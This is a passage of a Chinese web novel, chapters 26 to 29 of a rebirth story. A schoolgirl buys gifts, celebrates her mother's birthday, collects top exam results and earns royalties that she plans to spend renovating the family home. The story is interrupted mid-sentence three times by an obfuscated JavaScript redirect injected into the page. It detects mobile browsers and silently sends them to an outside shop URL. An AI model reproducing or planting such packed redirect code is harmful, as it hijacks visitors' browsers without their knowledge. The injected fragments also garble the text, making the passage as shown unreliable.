程茉也看到了它的标价，四十八块，难怪让小时候的她惦记了那么久。 “不用了……” 程茉话还未说完，老板已经将发卡轻轻地夹上了她的头发，又将一面圆镜举到她面前：“真好看啊，果然还是适合像你这样漂亮又年轻的小女孩。” 镜子里的少女脸上带着点茫然，头顶的发卡在灯光的照射下一闪一闪，确实很是漂亮。 长大后程茉就再没喜欢过这种花里胡哨的饰品，但此刻，她却忽然有些动摇了。 “好看诶！”周若玥凑过来感叹道，“买下来吧程茉！” “嗯。”程茉点了点头，跟老板说她就要这个了。 又看到旁边满眼向往的程莉，程茉拉了拉她，轻声道：“你也挑一个吧。” 程莉惊喜不已，趴在货柜前挑了好半天才选定了一个蝴蝶结造型的。 程茉则和周若玥她们将整个店又逛了一圈，选好了给苏萍和程兰的礼物。 店里还有各式各样的贺卡，简单的只是巴掌大小的印花硬纸片，复杂的翻开来层层叠叠还有音乐。这也是程茉上辈子在这里买得最多的东西。 程茉便顺便挑了两张合适的，看着老板细致地替她将礼物用漂亮的彩色花纹纸包装好，和贺卡一起装进精致的塑料礼品袋。 26. 第 26 章 陈晓萱三人也都各自选好了东西过来结账。周若玥拿了一张海报，上面是她最喜欢的那位留着短发的女歌手。陈晓萱买了一个水晶球，里面有精致的小房子和飘落的雪花。林然然对店里的商品兴趣一般，只挑了一个带密码锁的笔记本。 从精品店出来后，程茉说起想去书店看看，其他几人也没事，便跟着走了一段路，一起去了。 进店以后，陈晓萱看着直奔辅导资料区的程茉，忍不住大声控诉：“好哇，我还以为你是来借小说的呢，没想到你竟然是来买试卷的！” “暑假这么久，总得做点什么吧？而且我也得给我妹妹买些资料。”程茉无奈地笑道。 “可怜的小莉莉！” 几人一脸同情地看向程莉，程莉自己倒是完全没感觉，朝着她们茫然地眨了眨眼。 程茉仔细地在五花八门的辅导资料里挑选着，成功找到了自己需要的八年级上册的数学卷和物理卷。但在找程莉需要的英语资料时，却遇到了瓶颈。 这里的英语资料基本也都是试卷，再就是单词手册和英文字典。至于适合刚启蒙的小学生的，就只有一些印着过于幼稚的卡通插图的小册子，并不符合程茉的需求。 程茉记得自己前世补习英语时，辅导机构用的那套《新概念英语》就很不错，后来工作后，身边不少同事的小孩补习也大都在用这套书，可见它的权威性。可惜书店没有，程茉打算之后去省城找找，实在不行就试试看网购，因此最终只选了一套音标小卡片和一本初中英语单词手册。 对这些辅导资料并不太感兴趣的程莉已经跟着陈晓萱她们去了图书区，几人各自找了本书翻看着。程茉提着买好的资料过去时，发现程莉正捧着一本印着彩色插图的童话故事看得津津有味。 程茉便又继续独自在店里逛了起来。然后她就发现这里竟然还有字帖卖，想想自己两辈子都没多少长进的字，程茉当即挑了一本正楷和一本行书。 注意到程茉动作的林然然放下书走了过来，带着几分好奇地问：“你打算练字啊？” “是啊，你觉得这两本字帖还可以吗？”程茉点点头，把手里的字帖递给她看。 林然然接过字帖翻了一下，笑着说：“我以前刚开始练字的时候，用的也是这本庞中华的正楷，感觉挺好用的。行书我没怎么练过，就不太清楚啦。” “那我先买回去用用看。” 随后几人一同去办理了借书手续，程茉也帮程莉把她看得入迷的那本童话书借了来。 从书店出来时，时间已经到了下午四点，几人回家的方向并不相同，便在此告别分开。 “大家暑假记得多在□□上联系啊！” 都走出两步了，身后又传来陈晓萱大声地呼喊，程茉回头朝她大力挥了挥手，才带着程莉又走回了商场附近。 这个时间市场都已基本收摊，程茉本就不擅长砍价，商场一楼的超市对于她来说是最好的选择。两人在电器区挑挑选选，最终买了一台企鹅形状的小电扇，主体是可爱的黑白配色，还别着一个淡紫色的蝴蝶结，模样十分讨喜。 程莉紧紧抱着小电扇，满脸的欢喜，仰头望着程茉问：“姐，这台电扇可以放我们房间吗？” “嗯。”程茉笑着点头，又问她：“你想吃什么？咱们顺便去买点水果再回家吧。” 于是又去水果区称了一斤梨和半个西瓜，姐妹俩这才满载而归地往家走去。 苏萍回来后，第一时间就看到了桌上摆着的水果和崭新的小电扇。 她皱了皱眉，带着几分心疼问道：“怎么买了这么多东西？花了多少钱？” 程茉在心里估算了下价格：“加起来也不到100块。天气越来越热了，家里只有一台风扇也用不过来。” 一旁正在切西瓜的程林生闻言，不耐烦地冲苏萍说道：“你别管那么多。小茉现在会赚钱了，自然就要学着花钱。不过小茉啊，你自己也要记好账，我从小就教你，钱不是光靠省出来的，但也绝不能入不敷出。” 对于程林生这忽然而来的好言好语，程茉没有丝毫惊讶，也懒得回应。这些话她上辈子早就听腻了，程林生一贯如此，好的时候总能做出一副开明家长的模样。 吃过晚饭，程茉又去翻了翻电视机旁边墙上系着的挂历，翻到了7月份那张。上面被圈出来的两个红圈格外醒目，分别是7月3号和7月10号。 如果没有记错的话，这些圆圈应该还是去年过年时母亲苏萍从超市把这本挂历领回来之后，重生前的程茉一笔笔圈起来的，代表着母亲的生日和姐姐的生日。 程茉又顺手翻看了其他几张，果然也看到了一个个不同的红圈，标注着自己的生日、程莉的生日，还有程林生的生日。除此之外，陈晓萱她们几个的生日也没落下，当然也有徐逸和许少杰的。她还记得，上辈子的自己就是这样，每个月数着这些红圈为他们精心准备礼物，再配上写得满满当当的贺卡，一一送到他们手上。 放下挂历之后，程茉回到房间，找出了母亲的那份礼物，将贺卡拿出来，开始手写祝福。 接下来的两天，程茉没有再出门。在仔仔细细规划好自己的暑假安排后，她便着手按照计划一项项完成暑假作业和第二本小说的存稿。除此之外，程茉每天还要再抽出一个小时教程莉字母和音标。 7月3号的到来并没有什么特别，一大早，苏萍还是和程林生照常去上工了。中午，程茉和程莉随意弄了点午饭对付着吃完，她走到正在看电视的程莉身边，轻声提醒：“今天是妈妈的生日哦。” 程莉有些茫然地看着她，回道：“我知道啊。” “那你准备好礼物了吗？没有的话，现在还来得及。” 程莉低下头，小声说：“可是我没有钱。” “你可以想想其他办法，不一定非要花钱呀。你不是很喜欢画画吗？” 程莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623846|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛一亮，立刻关掉电视，转身就跑到房间里拿出了彩笔和卡纸，兴奋地说：“对呀！我可以给妈妈做一张贺卡！” 整个下午，程莉都趴在桌前，认认真真地画着、剪着。等程茉写完作业、完成今天的小说存稿后走出去一看，意外发现这张手工贺卡做得还挺不错，尤其是色彩搭配，亮眼又和谐。 程茉忍不住夸赞：“真棒！做得好漂亮呀，妈妈一定会喜欢的。” 之后，两人一起去厨房准备好了晚饭。程茉想了想，又从冰箱里找出剩下的半支挂面和一个鸡蛋，单独做了一碗热腾腾的鸡蛋面。 一旁有些无聊的程莉目光忽然瞟到了小阳台上开得正艳的月季和大丽花，眼睛一亮，激动地提议：“姐姐，我们是不是还可以给妈妈摘一些花呀？” 程茉顺着她的目光望过去，笑着点头：“可以呀，我们一起去摘吧。” 这个小阳台在程茉她们的房间外面，四周用砖垒起了一圈花坛，里面种着杂七杂八的各式植物。中间放着一张竹床，夏天的傍晚她们会经常躺在这里乘凉。 程茉忽然想起，家里第一次养花是在她刚上小学三年级的时候。那时母亲还在街上的饭店帮忙洗碗，有天下班回来，兴冲冲带回几株植物，说是店里老板娘送的。彼时新房子还没建，一家人挤在小小的单间里，那几株花就用泡沫箱种着，摆在门口。 后来程林生、程兰也会偶尔带花苗回来，花越种越多。新房落成后，程林生特意往阳台和楼顶挑了许多土，用砖垒了几块专门的种植区，那些各种各样的花，便这样安了家落了户。 这些花里没有什么名贵品种，最多的就是菊花和月季，但每个月总会有几株静静绽放。红的黄的粉的，给这栋从里到外都没装修过、透着灰扑扑质感的房子，添了不少鲜活的色彩。 每次有漂亮的花开放，程林生都会心情格外好地让她们姐妹两个摘去带到学校送给同学。 陈晓萱梁晴她们都收到过程茉的鲜花，当然，每次开得最艳、最漂亮的那一朵，最终总会送到徐逸手里。 但是将这些美丽的植物带到这个家的苏萍，却从未拥有过任何一朵花。 程茉和程莉一起小心翼翼地剪下几株开得正盛的黄色月季，配上两朵鲜艳的橙色大丽花，又翻找出一根不知哪里来的粉色丝带，细致地在花束上系了个小巧的蝴蝶结，看着也有几分花店里花束的样子。 饭菜已经摆上餐桌，正中央是那碗热气腾腾的鸡蛋面，旁边放着那束系着粉色蝴蝶结的花束和程茉程莉各自准备的礼物。 苏萍拖着沉重的步伐走上楼的那一刻，看见的就是这样的一幅场景。 被汗浸湿的上衣紧贴在苏萍的后背，她正烦躁地捋着散落下来的发丝的手停在了半空，。 “干嘛站着不动？”程林生绕过她快步走上前，在看到桌上的花束后，动作也停了一瞬，“嘿，这花扎起来还有模有样的，都能拿去卖钱了。” 27. 第 27 章 “妈妈，生日快乐！” 程茉走上前，递上干净的毛巾，程莉则高举手里印着广告的塑料扇子用力挥舞着。 印着卡通小猫的毛巾被回过神来的苏萍接过，囫囵地抹了一把脸，最终在眼睛处停了一小会儿才被拿下。 “你们花这钱……”苏萍下意识地想要教女儿别乱花钱，脱口而出的话语在干涩的嗓子里滚了两下又停住了，转而放轻了声音嗔怪道：“花这许多心思干嘛，只要你们努力学习以后过上好日子我就开心了。” 一边换鞋的程林生立马接上：“你妈说得对，我们两不需要这些感恩和回报，只要你们有出息就是对我们最大的报答。” 程莉用力扇风的手便停了下来，扇子缓缓地垂到了腿边。 “所以现在你不开心吗？”程茉望着母亲的眼睛，“我和小莉还为你准备了礼物，你也不喜欢吗？” “没有……”苏萍有些不自在地将眼睛瞥向别处，“我就是不想你们……” 程茉清泠泠的话语却盖过了她有些断断续续的解释：“但做这些时我们很喜欢，很开心。也希望你能喜欢和感到开心。” 工作后的程茉姐妹三人一年难得聚两次，但每次相聚时，姐妹几个躺在一张床上聊到下半夜是必不可少的环节。 而那些藏在深夜里的谈话，也总是绕不开对家庭关系和各自性格的分析。 程兰曾说，“口是心非”是她们家一脉相承的缺陷。不敢说喜欢，不敢说想要，不敢表露自己的真心和欲望，于是一个个便都长出了拧巴而拙劣的面具，随着时光一点点深扎于血肉。 再想揭掉总是要痛的，但至少现在还来得及。 程茉瞄了下随着她的问题又仰起头眼里满含希冀的程莉，再看向母亲的眼里是毫不退让的坚定。 “开心……我开心的。”苏萍看了眼两个女儿，扯起嘴角露出了一个有些僵硬的笑，往餐桌走去。 程莉立马小跑过去，将自己的贺卡拿起递上前：“妈妈，你快看我给你做的贺卡！” 苏萍接过贺卡，只见上面用不同颜色的彩笔写着花体的“妈妈，生日快乐”。几个字的大小略有些不一致，最后一个“乐”字被挤在边边，显得有略有些局促，但能看得出是很认真地在努力写整齐，旁边还点缀着各色的小花和糖果，鲜艳又漂亮。 “还可以翻开的！”程莉仰头目不转睛地盯着苏萍的动作，迫不及待地提醒道。 苏萍坐了下来，按照她的提示翻开了贺卡，首先映入眼帘的就是几个露着牙齿大笑的小人。苏萍认出了最中间那个梳着辫子、穿着长裙的人，正是自己。 小人们的左边还写着几行有些歪歪扭扭的小字：【妈妈，今天是你的生日，我没有钱给你买礼物，就自己画了这个贺卡送给你。希望你天天开心，少发脾气，因为你生气，我和二姐也都要跟着难过。我和姐姐都会乖乖的，希望妈妈喜欢我的礼物。等我以后赚钱了，要给妈妈买大大的蛋糕和漂亮的裙子，妈妈穿裙子最漂亮了！】 “妈妈妈妈，你喜不喜欢我的礼物啊？”程莉迫不及待地追问。 “喜欢。”苏萍一开口，才发现自己的声音竟有些哽咽，她连忙低头，垂下有些湿润的双眼。 得到了肯定，程莉立刻嘿嘿傻笑起来，又想起什么，连忙拉着苏萍：“妈妈，还有二姐的礼物，你快打开看看！是我跟二姐一起为你挑的。” 程茉便将桌上包装好的礼物袋推过去，轻声说：“可惜稿费还没提出来，过两天我们去省城，再给你买个真的。” 苏萍有些笨拙地将礼物拿出来，小心翼翼地撕开胶带，努力避免着将包装纸弄破。一个精致的蓝色丝绒盒子被拿了出来，苏萍小心地打开来，里面是一串泛着莹润光泽的珍珠项链。 “妈妈，你快戴上看看好不好看！”程莉拉着苏萍的胳膊，满眼期待地催促。 “妈，我来帮你戴。小莉，你去把我们桌上那个小镜子拿过来。” 程茉接过盒子，取出珍珠项链，小心地戴到苏萍的脖子上，又拿过镜子放在她面前。 镜子里的女人皮肤被晒得有些泛红，还透着几分黝黑，脸上已经爬上了岁月留下的斑点和细纹。苏萍的目光往下移，落在那串漂亮的项链上，它看起来有些格格不入，却仿佛将她带回了自己尚还年轻美丽的时光。 苏萍想起自己刚结婚时，母亲也曾送过她一串珍珠项链当嫁妆。那时她爱惜得不得了，整日小心翼翼地戴着，可惜后来还是遗失在了四处奔逃的路上。连同那屈指可数的几张记录着自己青春模样的老照片，也一起不知掉在了哪个角落。 “真好看。”程茉轻声笑着说。她望着苏萍颈间的珍珠项链，眼前浮现的却是重生前，脖子上总挂着金项链，手腕上也戴着好几串各式镯子的母亲。 “妈妈真漂亮，就像仙女一样！”程莉在一旁欢快地附和着。 程林生在一旁沉默地站了好一会儿，才开口道：“好了，吃饭吧。今天这个生日，你过得可是高兴了。” “好了，先摘下来吧，等会别弄脏了。”苏萍伸手将项链取下，又小心翼翼地放回盒子里。饭桌上，程莉还不停地叽叽喳喳手舞足蹈，讲着自己和姐姐这个下午是怎么一起准备生日面和鲜花的。 苏萍带着笑听着，没有提醒她好好坐着吃饭，连程林生也格外的沉默。 直到睡觉前，程莉都还带着点兴奋，嘴里不停念叨着：“过几天大姐生日，我也要自己画一幅最好看的贺卡送给她！” “好了，赶紧睡觉吧，明天还要去领通知书呢。”被吵得不胜其烦的程茉无奈地拍了拍她，吱呀吱呀的风扇声中，姐妹两人终于渐渐进入了梦乡。 第二天早上，程茉费了好大劲，才把睡得昏沉的程莉艰难叫醒。姐妹俩匆匆洗漱完毕，吃完简单的早饭，便并肩从家里出发了。 程莉所在的小学与江水镇一中在同一方向，就是小学上学时间要晚一个小时，今天也是姐妹两难得一起去学校，一路聊着天很快就到了一中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627246|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“等会领完通知书，直接来这里找我啊。”程茉叮嘱了程莉一句，看着她追上了前面的同学，才转身进了校门。 等程茉到达教室时，已经有不少人在了，大家正热火朝天聊着这两天的经历。 “程茉，你来啦！快过来，给你看我前两天去拍的照片！”周若玥看到她，连忙招呼道。 程茉笑着走过去，在自己的位置上坐下，接过周若月递来的大头贴。 “真好看，你很适合把头发梳上去耶。”程茉注意到了照片里周若玥不见了的刘海，又抬头看了眼她露出来的额头，夸赞道。 “是吗？我还有点懊恼呢。”周若月伸手摸了摸光秃秃的额头，语气带着点纠结，“头发长长了一直扎眼睛，我妈没空带我去剪头发，非让我梳上去，还以为照出来会不好看呢。” “这样很好看。”程茉笑着点头，又提议道，“如果你还是想要刘海，也可以只留两缕头发在两边，既不挡视线又修饰脸型。” 几个人又寒暄了好一会，教室里陆陆续续终于坐满了人，黄仁也拿着通知书和奖状走了进来。 他刚站定便朝前排的林然然扬了扬下巴，吩咐道：“林然然，你去我办公室的奖品搬过来吧。” 林然然应声起身，快步朝办公室走去。 等林然然将一摞笔记本在讲台上放好，黄仁才清了清嗓子，找出成绩单，高声道：“首先要表扬大家，这次我们班仍然保持住了全年级第一的好成绩！” 教室里立刻响起一阵欢呼，他抬手压了压，继续说道：“所以这个暑假，本次考试每门学科都及格的同学，可以免做学校发的那本暑假作业。但是啊，提醒你们还是要在家好好复习，争取下个学期我们再创辉煌！” 听到这话，大部分同学高兴地鼓起了掌，有学科没及格的同学则有些失望，忍不住唉声叹气起来。 黄仁话锋一转，脸上带着笑意继续宣布：“另外还有一个好消息！这次考试全校第一也在我们班，就是程茉同学！恭喜她！” 下面开始传来小声的惊呼。虽然这个学期以来，大家对程茉的优秀早已渐渐习惯，但全校第一的好成绩，还是让所有人都忍不住心头一震。黄仁待教室里的掌声和议论声稍歇，清了清嗓子继续说道：“好，接下来我宣布本学期我们班的三好学生名单。” 随着一个个名字念出，教室里的掌声一次又一次响起，此起彼伏。黄仁念到最后，特意加重了语气，声音洪亮有力：“最后一位——程茉，同时也是校三好学生和校学习标兵！请以上同学上来领奖，大家再次掌声恭喜他们！” 程茉和周若玥、许少杰、林然然、徐逸几个人走上了讲台，领取了自己的奖状和奖品。黄仁小声告诉她学校的奖励要等下学期开学典礼再一起发。 接下来黄仁又颁发了优秀班干部、课代表、进步之星、单科学习之星等奖项，程茉也跟着又上去了好几次。 所有的奖颁完，最后才是通知书，程茉也终于看到了自己的具体成绩。 28. 第 28 章 通知书是一张薄薄的灰白色A4纸，上面统一印着暑假的放假时间注意事项及下学期开学时间。文字的下方是一个表格，罗列着各个学科的考试分数和班主任的手写评语。 程茉先仔细看了下自己这次考试的成绩。虽然这次考试题目较之前难度略有提升，但她还是保持住了每门学科都在90分以上，其中英语依旧满分，语文也取得了95分的高分。 而更让程茉意外的是数学成绩。她原以为这次题目变难，自己会像以前一样，因没察觉到的粗心或思路出错丢不少分。可“数学”二字下方的那个数字——97，却给了她一个意外惊喜。 顿时，这几个月来刷过的每一张试卷，订正的每一道错题，似乎都有了回报。程茉从来没有在理科学习上收获过如此大的信心与成就感。 一旁的周若玥凑过来，瞄了眼她的通知书，说道：“让我看看班主任给你写的啥。” 程茉把通知书朝周若玥那边移了移。她刚刚已经瞄了眼，评语没什么特别的，基本上就是老师夸赞学生惯用的套话：聪明、努力、认真、尊敬老师、爱护同学之类。 周若玥对比了一下自己的通知书，抱怨道：“果然班主任还是最满意你了！你看给我的评语，说英语要多花点时间，更用心一点。” 程茉朝周若玥的通知书看了眼，上面的英语成绩只有82分，比起90左右的语文和数学，确实稍显弱势。 “程茉，你暑假有什么打算呀？”周若玥小声问道，“我感觉以我现在的成绩，要上市一中还是有点危险。我妈妈这两天也跟我说，想给我报个补习班，你有没有什么好的建议？” “我吗？”程茉答道，“我要去省城找我姐姐待一段时间。剩下的时间嘛，你也知道我买了些理科试卷，打算暑假把它们做完。” “哎，还是你最好，一点都不偏科！”周若玥叹了口气，又问，“你知道镇上新开的那家英语补习机构吗？好像是叫什么启优。” 听到这个熟悉的名字，程茉愣了一瞬。前世，姐姐就是带她去启优补习的英语。之所以会选择这里，正是因为她知道林然然和徐逸都在这里补习过。只是程茉去的时候已经是初三，那时他们两个都已经毕业了。 “听说过，应该还不错的吧。”程茉回过神来答道。 周若玥继续说：“我和林然然都打算这个暑假去那里看看，如果还可以的话接下来可能就要在那儿补习了。徐逸说他已经去那边上了两节课了，还不错的。” “那也挺好啊。”程茉点点头，语气自然地补充道，“我听说他们的上课方式还挺特别的，活动也很多，应该能学得有意思些。” 周若玥眼睛一亮，拉着程茉的胳膊小声道：“那你要一起去吗？我真想继续跟你一起，在那儿也能和你当同桌就太好了！” “暂时没有这个打算。”程茉摇了摇头，脑海里却忽然闪过前世补习时遇到的那位刚毕业的英语老师，她漂亮又温柔的脸庞并未随着时间模糊半分。程茉心里莫名一动，又补充道：“不过如果后面有时间，我可能会去看一下吧。” “好吧。”周若玥虽有些失落，但很快又打起精神，“到时你去的话一定要跟我说哦！说不定到时我已经是那里的学生了，还能带着你好好参观一下呢！” 通知书发完，黄仁又让所有人安静下来，着重强调了暑假的安全注意事项，尤其是不要下塘下河洗澡。并叮嘱大家玩得开心的同时也别荒废了学习，随后便宣布放学，让大家收拾好东西回家了。 程茉却没有立即回家，而是走到办公室门口敲了敲门。 “什么事？哎呀，是程茉呀，赶紧进来吧。”黄仁抬头看到她，脸上立马露出大大的笑容，随手拉过一把椅子放在办公桌旁。 程茉没有落座，礼貌地问道：“黄老师，这次不是全市统考吗？我想问一下，我在全市的排名大概是多少？” 黄仁笑得更灿烂了，高兴地说：“我帮你看过了，全市第56名。这个名次进市一中的重点班完全没问题了，就是想进一班可能还还有些危险。不过没关系，还有两年呢，我相信你肯定可以的！” 程茉心里了然，她知道市一中有两个重点班，前世许少杰就考进了一班，徐逸进的是二班。而自己当时是擦着一中的录取分数线，以全市近700名的成绩考进的一个普通班。在她后面的，要么是分数差点花钱进去的关系户，要么是靠各类加分或体育艺术技能特招进去的特长生。 高中三年，程茉依然追寻着徐逸的脚步，每次月考都紧盯排行榜，一遍遍对比着自己和徐逸的排名差距。最终在高考那年，她超常发挥以全校理科第63名的好成绩考上了重点大学。从全市600多名到全校60几名，这三年的进步堪称飞速，但程茉心里却始终觉得，这份成绩一定程度上是靠着自己良好的心态和运气加成才得来的。 可现在，程茉却有些恍惚了。原来真正付出十分努力后，自己就能在这么短的时间内，取得比前世高中三年都更好的成绩？ 离开办公室后，程茉感觉自己的脚步都轻飘飘的，她甚至都不知道自己是怎么和其他同学道了别，走出的学校。 “二姐！” 一看到程茉出来，程莉便大声地朝她喊道，又快速跑到她身前，将手里的通知书和奖状高高举起。 程茉接过来仔细看了后，笑着朝程莉比了个大拇指：“又是双百分，真棒！” “而且全校只有我一个是双百分呢！”程莉得意地举起手指头晃了晃，又期待地看着程茉，“二姐，你考得怎么样？” “跟你一样，第一哦。”程茉眯了眯眼，翘起嘴角答道。 程莉便激动地鼓起了掌，大声学着程茉之前的语气夸赞：“二姐你真棒！” 程茉被她逗得噗嗤笑出了声，将奖状和通知书递回去：“好了，赶紧收好，我们回家吧。” 两人回到家的时候才刚刚十一点。今天苏萍和程林生不上工，早上挑着鸭子出门时特地叮嘱了姐妹两等他们回来再做饭，因而程茉也没有急着去厨房，而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635726|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到房间打开了电脑。 今天还是另一个重要的日子，早上八点系统已经自动发布了程茉第一本小说的最后一章。这意味着，她终于可以申请完结提取收益了。 程茉打开后台，看到最新一章番外果然已顺利发出，下面是一连串“完结撒花”的评论，翻也翻不完。 又打开Q/Q给编辑发去了完结申请，程茉盯着后台收益那串数字数了又数，才终于确认她没有看错，自己即将要有八万多块入账了！ 程茉忍不住裂开嘴笑起来，直到感觉嘴角扯得有些疼了，她才忽然意识到，自己没有银行卡，这钱只能打去给当时填写的姐姐的卡里。 虽然短时间内程茉是看不见摸不着这笔钱了，但一次性收入过万还是让她很是激动。 程茉一鼓作气地在评论区和预收文案中都发布了新文明天开更的公告，又检查了一遍存稿箱，数了数里面已经整整四十章的存稿，这才心满意足地关掉网页。 外面响起了开门声，一旁正认真整理着自己的奖状的程莉立马腾的一下跳了起来，跑了出去。 “妈妈，你终于回来了！”程莉将手里的奖状高高举到苏萍面前，“快看，我又拿了双百分，还是全校第一！” “真厉害！”苏萍放下手里的东西，将手在衣服上用力擦了擦，才接过奖状。 “还有二姐，她也是全校第一！”程莉又噔噔噔跑回房间，“二姐，你的奖状和通知书呢？” 程茉指了指桌上那一叠，关掉电脑也跟着她走了出去。 苏萍接过程莉努力递过来的奖状和通知书，眼睛在两份成绩单上转来转去，将几张奖状翻了一遍又一遍。 “快给我也看下。”程林生走过来，伸手就要拿走。 苏萍侧身躲过，不耐烦地数落：“你手洗了没，刚抓了鸭子脏死了。” “好好好，我不碰，你先让我看一眼。” 待看清楚通知书和奖状上的“第一名”几个字，程林生才满意地快步走去厨房洗手，一边高兴地说着：“不错，不愧是我的女儿！” 等程林生擦干手过来，苏萍才依依不舍地将手上的纸张递给他，又蹲下去从塑料袋里翻出两个小花篮蛋糕和一瓶雪碧，递给两个女儿：“奖励你们的。” “哇！妈妈你真好！”程莉兴奋地接过，又忍不住问了一句，“妈妈，你怎么知道我们会考第一还提前买了蛋糕的呀？” “猜的。”苏萍低头笑了笑，没有说出那句要是没考好就当是安慰你们两个的了。 午饭，苏萍换了一条绿色的连衣裙，是前两天她生日程兰寄过来的，颜色很显白，衬得脖子上那串珍珠项链也更亮了。 “今天好吃的菜真多！”程莉已经伸长了脖子迫不及待地想要夹菜了。 苏萍替大家倒上雪碧，笑着说：“庆祝你们两个都考了第一，双喜临门啊。” “不对，是三喜临门哦。”程茉喝了一口饮料，缓缓接道，“还有我的小说今天完结了，可以拿到稿费了。” 29. 第 29 章 听到这话，苏萍和程林生都看向了程茉。这几个月，他们是看着程茉每天在电脑前一坐就是两三个小时的，虽然没说什么，但心里也并非没有意见。 在做父母的看来，玩电脑总归是有些不务正业的，写小说也没好到哪去，更不要说还对眼睛有害。只是有程兰的话在前，再加上程茉那些被杂志刊登的文章和不退反进的好成绩，他们再多的意见也说不出口了。 此刻听到这话，苏萍也只当这篇和之前的短篇是差不多的，会印在杂志上，便问道：“是你这段时间一直在电脑上敲的那一篇吗？写了这么久，印出来应该要有几十页了吧？” 程茉摇头跟她解释：“不是，这个是在网上发表的长篇小说，有30多快40万字了吧。” “哇，这么多字，那得有多少钱呀？”程莉好奇地问。 “8万多块哦。”程茉朝她笑了笑，轻轻说道。 “多少？”程林生和苏萍惊呼出声，一起瞪大双眼看着她。 紧接着，苏萍有些担忧地问：“怎么会有这么多钱？不会是骗子吧？” 程茉摇了摇头，继续解释：“不是，这本书在网上的数据还可以，挺多人看的，所以拿到的稿费也比较多。而且那是个正规网站，很多人都在上面写小说，姐她也知道的。” 苏萍暂且松了口气：“我不太懂这些，反正你们小心点就行。你现在还小，赚不赚钱的不重要，可千万别被骗了。” “写小说有这么赚钱的吗？”程林生还在不可置信之中，喃喃地道。 程茉没有回应他，只朝着苏萍道：“妈，等这笔钱拿到，我们把家里装修一下吧。” 重生以来这三个多月，程茉早就受够了这灰扑扑、一摸就掉灰的水泥墙面，受够了总也扫不干净的地板，受够了没有窗帘、对面楼能一览无余的窗户，更受够了和鸭子一起上厕所的窘迫。 楼上其实是有卫生间的，却没装马桶，他们只能跑到地下室，用那个只挂了块帘子、连门都没有的卫生间。偶尔，还有养在旁边的鸭子会钻进来吓人一跳。 “啊？现在这样也挺好的呀！装修多费钱啊，你那钱留着以后上学用，上高中学费可贵了，可别乱花！”苏萍有些不太赞同。 程茉语气坚定地继续劝道：“就简单装修一下就行，把卫生间弄好，墙面地板简单收拾下，再装个窗帘，花不了多少钱的。再说，这钱就算用完了，也还能继续赚呀！” 程茉当然知道，现在不装修也能过。毕竟这房子直到她重生前都还保持着如今的模样，甚至经历过好几次洪水后，变得更加脏乱破败。到后来也并不是没有钱，她们姐妹三个工作后往家里拿的钱不算少，甚至父母还在镇一中旁边买了栋新房，嗯，一样的没装修在那放了十几年。 苏萍和程林生就这样在这栋没装修的房子里住了十几年，而家里喊着装修，也喊了十几年。一开始是没钱没时间，后来听说要拆迁，又觉得装修是白浪费钱和功夫，结果拆迁的消息等了一年又一年，始终没动静。就这么凑凑合合地，大半辈子也过去了。 但好不容易重生一回，程茉可不想再凑合了。 苏萍看着一旁程莉期盼的眼神，又想起地下室那间连门都没有的卫生间，心里也跟着纠结起来，转头望向一直没吭声的程林生：“老程，你怎么说？” 程林生没接话，只是埋着头一声不吭地吃饭，直到把碗里的饭快速扒完，放下碗筷抹了把嘴：“那就装呗。这钱就当我们做父母的借你的。” 程茉心里清楚，他这是觉得面子上过不去了。但无所谓了，反正他已经松口答应装修，其他的细枝末节，她也懒得计较。 下午，程茉拿了个本子拉着苏萍凑在饭桌前合计，一一列出家里要装修的地方，以及要买的材料和家具。 这不算还好，一算就发现这里也不满意，那里也可以换新，一笔一笔粗略估算下来，竟列了满满的两大页纸。 两人对视一眼，苏萍皱着眉说道：“这么算下来，3万块钱至少应该是要的。” 程茉笑了一下安抚道：“那就3万呗！这还能剩下5万存起来呢，留着我上高中用都完全够啦。” 顿了顿，程茉又补充道：“妈，明天你去帮我办一张银行卡呗？到时候稿费到了，我好存进去。” 苏萍点了点头，语气里带着几分感慨和欣慰：“也行。你现在可比我们俩能赚钱多了，确实得有个银行卡存着。” 大致定好装修计划后，程茉也放下了一桩心头大事，心无旁骛地继续赶她的小说存稿去了。 夜幕降临，台灯暖黄的光映亮书桌，苏萍走过来提醒道：“你们两个后天早上去省城，东西收拾了吗？这次过去打算要待多久啊？” 程茉想起还要和编辑商量版权的事，估算了一下时间，回答道：“不知道，要看到时候姐姐那边有什么安排。估计至少得一个星期左右了。” 苏萍点点头，念叨着：“那得多带点衣服和东西才行。对了，你们想吃点什么？明天我去街上给你们买回来，路上好带着吃。” 程茉抬头，想了想说：“买点橘子吧。其他的你问一下小莉好了。对了妈，你如果有什么要带给姐姐的，也可以收收好，到时我们一起拿过去。” 